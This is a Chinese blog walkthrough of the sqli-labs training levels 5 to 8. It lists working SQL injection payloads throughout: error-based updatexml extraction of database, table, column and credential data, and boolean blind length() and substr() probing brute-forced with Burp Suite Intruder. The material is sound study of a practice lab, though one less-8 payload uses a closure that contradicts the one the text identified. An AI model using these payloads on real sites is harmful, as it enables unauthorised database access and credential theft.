sqli-labs通关攻略less5-8

less5

有报错信息的回显,说明可以进行报错注入。

1.判断注入类型

输入?id=1

?id=1 and 1=2--+(把数字型逻辑判断改成错的,页面仍然正常,说明不是数字型的注入)

判断字符型的

'    "   ')    '))    ")依次尝试

输入·?id=1'--+   闭合方式是'

2.判断字段数

?id=1' order by 4--+

?id=1' order by 3--+

三个字段

3.查询库名

使用报错函数updatexml()进行报错注入,函数有三个参数

?id=1‘and updatexml(1,1,1)--+

在第二个参数的位置构造报错查询,用到聚合函数concat(),concat()函数有两个参数

?id=1’and updatexml(1,concat(1,1),1)--+


还是在concat的第二个参数的位置查询我们想要的东西,查询是select,既然select不是在句首,而是在句中查询,就要用到子查询,子查询就是放到括号里面去写。

?id=1' and updatexml(1,concat(1,(select database())),1)--+

4.查询表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询字段名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

6.查询数据

?id=1' and updatexml(1,concat(1,(select concat_ws(':',username,password,id) from users limit 0,1)),1)--+

7.使用limit去一条一条的查询

limit 0,1 查询第一条数据
limit 1,1 查询第二条数据
limit 2,1 查询第三条数据
limit 3,1 查询第四条数据

less6


判断注入类型

 有报错信息的回显,说明可以进行报错注入。

1.判断注入类型

输入?id=1

?id=1 and 1=2--+(把数字型逻辑判断改成错的,页面仍然正常,说明不是数字型的注入)

判断字符型的

'    "   ')    '))    ")依次尝试

输入·?id=1'--+   闭合方式是"

下列步骤如less-5一样,继续操作即可

less-7

1.判断注入类型

输入?id=1

?id=1 and 1=2--+(把数字型逻辑判断改成错的,页面仍然正常,说明不是数字型的注入)

判断字符型的

'    "   ')    '))    ")依次尝试

输入·?id=1'))--+   

闭合方式是'))

2.判断字段数

?id=1')) order by 4--+

?id=1')) order by 3--+

三个字段

3.查询库

先查询数据库的长度

数据库⻓度判断
1:判断当前数据库的⻓度,利⽤⼆分法
?id=1')) and length(database())>5 --+ //正常显示
?id=1')) and length(database())>10 --+ //不显示任何数据
?id=1')) and length(database())>7 --+ //正常显示
?id=1')) and length(database())>8 --+ //不显示任何数据
⼤于7正常显示,⼤于8不显示,说明⼤于7⽽不⼤于8,所以可知当前数据库⻓度为8个字符

4.布尔盲注依次用使用ascii码查询具体数据

less-8

1.判断注入类型

输入?id=1

?id=1 and 1=2--+(把数字型逻辑判断改成错的,页面仍然正常,说明不是数字型的注入)

判断字符型的

'    "   ')    '))    ")依次尝试

输入·?id=1'--+   

闭合方式是'

2.判断字段数

?id=1' order by 4--+

?id=1')) order by 3--+

三个字段

3.查询库名

# 数据库⻓度判断
1:判断当前数据库的⻓度,利⽤⼆分法
?id=1' and length(database())>5 --+ //正常显示
?id=1' and length(database())>10 --+ //不显示任何数据
?id=1' and length(database())>7 --+ //正常显示
?id=1' and length(database())>8 --+ //不显示任何数据
⼤于7正常显示,⼤于8不显示,说明⼤于7⽽不⼤于8,所以可知当前数据库⻓度为8个字符

 运用burpsuite爆破查询数据库名

搭建bp站点

进行抓包

?id=1' and substr(database(),1,1)='s' --+

发送到intruder,运用集束炸弹攻击方式,添加两个payload位置

设置payload格式

攻击获取库名 security

4.查询表名

?id=1'and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+

运用上述抓包流程依次获取所有表名

5.查询字段名

?id=1'and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+

6.查询数据

已知表名,库名,字段名,即可查询数据

如上所示,使用bp进行抓包具体数据

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值